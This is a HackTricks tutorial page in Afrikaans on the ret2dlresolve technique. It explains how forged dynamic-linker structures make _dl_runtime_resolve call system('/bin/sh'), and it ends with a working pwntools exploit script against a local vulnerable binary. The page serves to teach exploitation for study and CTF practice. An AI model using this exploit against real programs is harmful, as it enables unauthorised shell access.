5.5 KiB
Ret2dlresolve
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github-opslag.
Basiese Inligting
Soos verduidelik op die bladsy oor GOT/PLT en Relro, binêre lêers sonder Volle Relro sal simbole (soos adresse na eksterne biblioteke) oplos die eerste keer as hulle gebruik word. Hierdie oplossing vind plaas deur die funksie _dl_runtime_resolve
te roep.
Die _dl_runtime_resolve
-funksie neem vanaf die stok verwysings na sekere strukture wat dit nodig het om die gespesifiseerde simbool op te los.
Daarom is dit moontlik om al hierdie strukture te vervals om die dinamies gekoppelde oplossing van die versoekte simbool (soos die system
-funksie) te maak en dit met 'n gekonfigureerde parameter te roep (bv. system('/bin/sh')
).
Gewoonlik word al hierdie strukture vervals deur 'n aanvanklike ROP-ketting wat read
aanroep oor 'n skryfbare geheue, dan die strukture en die string '/bin/sh'
word deurgegee sodat hulle deur read
in 'n bekende plek gestoor word, en dan gaan die ROP-ketting voort deur _dl_runtime_resolve
te roep met die adres na $'/bin/sh'
.
{% hint style="success" %} Hierdie tegniek is veral nuttig as daar nie syscall-gadgets is (om tegnieke soos ret2syscall of SROP te gebruik) en daar is nie maniere om libc-adresse te lek nie. {% endhint %}
Jy kan 'n beter verduideliking oor hierdie tegniek vind in die tweede helfte van die video:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Strukture
Dit is nodig om 3 strukture te vervals: JMPREL
, STRTAB
en SYMTAB
. Jy het 'n beter verduideliking oor hoe hierdie gebou word in https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures
Aanval Opsomming
- Skryf valse strukture op 'n plek
- Stel die eerste argument van system in (
$rdi = &'/bin/sh'
) - Stel op die stok die adresse na die strukture in om
_dl_runtime_resolve
te roep - Roep
_dl_runtime_resolve
aan system
sal opgelos en geroep word met'/bin/sh'
as argument
Voorbeeld
Jy kan 'n voorbeeld van hierdie tegniek hier vind wat 'n baie goeie verduideliking van die finale ROP-ketting bevat, maar hier is die finale aanval wat gebruik is:
from pwn import *
elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)
# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain())
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
p.interactive()
Verwysings
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kontroleer die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.